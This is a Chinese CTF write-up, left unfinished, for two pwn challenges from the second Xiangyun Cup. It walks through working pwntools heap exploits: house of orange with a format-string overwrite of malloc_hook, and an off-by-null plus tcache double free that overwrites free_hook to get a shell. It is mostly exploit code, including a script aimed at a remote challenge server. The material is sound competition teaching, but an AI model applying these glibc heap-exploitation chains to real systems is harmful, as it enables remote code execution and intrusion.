|
第二届“祥云杯”网络安全大赛部分Writeup(未完待续) (qq.com) 第二届“祥云杯”网络安全大赛部分Writeup(未完待续)原创 奋斗的小浪 [url=]衡阳信安[/url] 5天前
 
这次比赛,时间不充裕,新老交替,战队新手多,我也忙,周末两天上午的课,晚上还要备课,在夹缝中做题,所以战绩较去年落差很多!整个比赛中,只有我和西电学霸小刘在做题,在这里对于他的学习精神致敬!毕竟才大二,这是我带的为数不多的学生中很优秀的小伙伴。今年我开课后,一直跟着我在学习网络安全渗透测试。
我们这种民间战队没办法和高校大佬们比较,希望更多的民间CTF爱好者加入我们,我们一起战斗!
 
上图为这次给他们几个学员培训的课程
言归正传,我把wp整理了一下,发出来,供大家参考!不对之处,请大家批评指正!
题目:note
标准的菜单题,只是没有free的操作,保护全开,那么只能修改hook或者堆上写ROP跳过去或者IOFILE之类的,改hook固然是最简单的
对于没有free的,我们选择house of orange泄露libc,尤其是这题给了堆的地址还给了一个scanf的格式化溢出
 
 
先把菜单函数写好
- def debug(s):
- gdb.attach(p, '''
- source ~/libc/loadsym.py
- loadsym ~/libc/2.23/64/libc-2.23.debug.so
- ''' + s)
- def alloc(size, content):
- p.sendlineafter(b'choice: ', b'1')
- p.sendlineafter(b'size: ', str(size).encode())
- p.sendafter(b'content: ', content)
- def say(content, content2):
- p.sendlineafter(b'choice: ', b'2')
- p.sendafter(b'say ? ', content)
- p.sendlineafter(b'? ', content2)
- def show():
- p.sendlineafter(b'choice: ', b'3')
复制代码 简单介绍一下house of orange,出自一道hitcon的同名题,当top chunk不够用的时候,会将top chunk放入unsorted bin中,再申请一个新的top chunk来替换原本的top chunk,假设原本top chunk大小为0x400,而我们malloc 0x1000,那么这个0x400就会进入unsorted bin中,libc会去申请一段新的top chunk过来
然后使用scanf格式化溢出修改top chunk的size达到house of orange的目的,多次alloc突破top chunk,迫使top chunk进入unosrted bin
- alloc(0x100, b'a')
- p.recvuntil(b'addr: ')
- heap = int(p.recv(14), 16)
- success('heap -> {}'.format(hex(heap)))
- say(b'%7$daaaa' + p64(heap + 0x100 + 8), str(0xef1).encode())
- for i in range(14):
- alloc(0x100, b'a')
复制代码 从unsorted bin中分割出一块chunk利用残余的libc内的地址泄露libc
- alloc(0x10, b'a' * 8)
- show()
- libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- libc_base = libc_base - 328 - 0x10 - libc.sym['__malloc_hook']
- malloc_hook = libc_base + libc.sym['__malloc_hook']
- realloc = libc_base + libc.sym['__libc_realloc']
- system = libc_base + libc.sym['system']
- one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
- one_gadgets_xyb = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
- one = one_gadgets_xyb[1] + libc_base
- success('libc_base -> {}'.format(hex(libc_base)))
- success('malloc_hook -> {}'.format(hex(malloc_hook)))
复制代码 最后利用格式化溢出修改malloc_hook和realloc_hook,这题要用one_gadgets的话得调一下栈
- say(b'%7$lldaa' + p64(malloc_hook), str(realloc + 12).encode())
- say(b'%7$lldaa' + p64(malloc_hook - 8), str(one).encode())
复制代码 再次malloc即可getshell
- p.sendlineafter(b'choice: ', b'1')
- p.sendlineafter(b'size: ', b'1')
- p.interactive()
复制代码 完整exp
- from pwn import *
- #context.log_level = 'debug'
- #p = process('./note')
- p = remote('47.104.70.90', 25315)
- elf = ELF('note')
- libc = ELF('libc-2.23.xyb.so')
- def debug(s):
- gdb.attach(p, '''
- source ~/libc/loadsym.py
- loadsym ~/libc/2.23/64/libc-2.23.debug.so
- ''' + s)
- def alloc(size, content):
- p.sendlineafter(b'choice: ', b'1')
- p.sendlineafter(b'size: ', str(size).encode())
- p.sendafter(b'content: ', content)
- def say(content, content2):
- p.sendlineafter(b'choice: ', b'2')
- p.sendafter(b'say ? ', content)
- p.sendlineafter(b'? ', content2)
- def show():
- p.sendlineafter(b'choice: ', b'3')
- alloc(0x100, b'a')
- p.recvuntil(b'addr: ')
- heap = int(p.recv(14), 16)
- success('heap -> {}'.format(hex(heap)))
- say(b'%7$daaaa' + p64(heap + 0x100 + 8), str(0xef1).encode())
- for i in range(14):
- alloc(0x100, b'a')
- alloc(0x10, b'a' * 8)
- show()
- libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- libc_base = libc_base - 328 - 0x10 - libc.sym['__malloc_hook']
- malloc_hook = libc_base + libc.sym['__malloc_hook']
- realloc = libc_base + libc.sym['__libc_realloc']
- system = libc_base + libc.sym['system']
- one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
- one_gadgets_xyb = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
- one = one_gadgets_xyb[1] + libc_base
- success('libc_base -> {}'.format(hex(libc_base)))
- success('malloc_hook -> {}'.format(hex(malloc_hook)))
- say(b'%7$lldaa' + p64(malloc_hook), str(realloc + 12).encode())
- say(b'%7$lldaa' + p64(malloc_hook - 8), str(one).encode())
- #debug('')
- p.sendlineafter(b'choice: ', b'1')
- p.sendlineafter(b'size: ', b'1')
- p.interactive()
复制代码
 
题目:PassWordBox_FreeVersion
最新版libc2.27的double free与leak libc的船新姿势,之前还没想到能这么搞,快被只有一次edit给搞疯了才想到
惯例检查一下先
 
保护全开,那基本锁定hook和io了,再看看libc
 
wtf 1.4,保护全开,打屁,双手离开键盘(------
在被web折磨得怀疑人生的时候又回到了这道题。。行吧,先看看
 
标准的菜单题
 
最多允许80个chunk
 
长度限制在0x100以下,第一次add的时候会输出加密后的内容,加密就是一个简单的异或操作,以8字节为单位进行异或
 
同时注意到add中存在off by null
 
fgets会将0填充到输入的末尾处
而show就是先解密再加密
 
用的是printf,所以要小心零字符截断
delete简单暴力,有置零,所以不好uaf
 
edit只能用一次,还只能编辑0x10字节(小鸟你说你干什么不好偏要搞一个Free Version
 
好了逻辑梳理完了,先不管那么多,由于加密操作就是个异或,简单的很,所以我们第一次add的时候把它秘钥给leak一下
- alloc(b'2', 0xf8, b'a\n') #0
- p.recvuntil(b'Save ID:')
- p.recv(8)
- key = u64(p.recv(8))
- success('key -> {}'.format(hex(key)))
复制代码 然后重点就放到了off by null上,先构造最基本的off by null的结构,还要先把tcache填满,让chunk能进入unsorted bin
- for i in range(6):
- alloc(b'2', 0xf8, b'a\n') #1 - 6
- alloc(b'2', 0xf8, b'a\n') #7
- alloc(b'2', 0x88, b'a\n') #8
- alloc(b'2', 0xf8, b'a\n') #9
- alloc(b'2', 0x98, b'a\n') #10
- for i in range(7):
- delete(i)
复制代码 溢出chunk8来修改chunk9的size的最低位为0,并将chunk8 chunk7给free掉,最后unlink
- delete(8)
- delete(7)
- alloc(b'2', 0x88, b'a' * 0x80 + p64((0x90 + 0x100) ^ key)) #0
- delete(9)
复制代码 值得注意的是,在执行第三行代码的时候,原本的chunk8现在到了chunk0的位置,然后一个unlink使得unsorted bin中出现了范围是原本的chunk7到chunk9的范围,所以其实此时已经完成了overlap,按以往的操作,现在应该alloc chunk7,然后填充chunk7的 0x10 ~ 0x18处来leak libc,但是由于fgets有字符截断,所以这条路已经被封的死死的,这里就用libc来帮我们做这个事
注意现在的chunk0是原本的chunk8的位置,其与unsorted bin[0]的开头是原本chunk7的位置,那么我们执行两次alloc 0x78
- alloc(b'2', 0x78, b'\n') #1
- alloc(b'2', 0x78, b'\n') #2
复制代码 由于被分割,unsorted bin的前面一部分被分割走了,现在unsorted bin[0]与现在的chunk0重叠,更重要的时候,被分割后,libc会将main_arena + xx 写入unsorted bin[0]的fd和bk处,而chunk0与其重叠,所以此时我们就可以通过show(0)来leak libc了,只是要解密一下
- show(0)
- p.recvuntil(b'Pwd is: ')
- addr = u64(p.recv(8)) ^ key
- libc_base = addr - 0x2a0 - libc.sym['_IO_2_1_stdin_']
- success('libc_base -> {}'.format(hex(libc_base)))
复制代码 之后准备double free,由于是1.4的libc2.27,所以我们需要绕过key,在libc2.27 1.4中,tcache_entry中多了一个字段key,在free的时候,libc会将当前要free的chunk的地址写入key中,而在这之前,它会提取key出来,判断key和自己的地址是否相等,如果相等,就会遍历当前chunk的大小的bin中是否有一个已经被free了的chunk,如果发现了,直接异常退出,好吧,那如果我们现在直接double free的话会被检测出来,那么我们就可以用唯一一次edit的机会在free第一次以后修改key然后再free第二次完成double free,剩下就是常规的修改free_hook了
- system = libc_base + libc.sym['__libc_system']
- free_hook = libc_base + libc.sym['__free_hook']
- alloc(b'2', 0x60, b'a\n') #3
- delete(0)
- edit(3, b'a' * 0x10)
- delete(3)
- bin_sh_str_int = u64(b'/bin/sh\x00')
- #debug('b free')
- alloc(b'2', 0x60, p64(free_hook ^ key) + b'\n')
- alloc(b'2', 0x60, b'\n')
- alloc(b'2', 0x60, p64(system ^ key) + b'\n')
- alloc(b'2', 0x60, p64(bin_sh_str_int ^ key) + b'\n')
- delete(5)
- p.interactive()
复制代码 未完待续。。。。明天继续更新吧!
|
|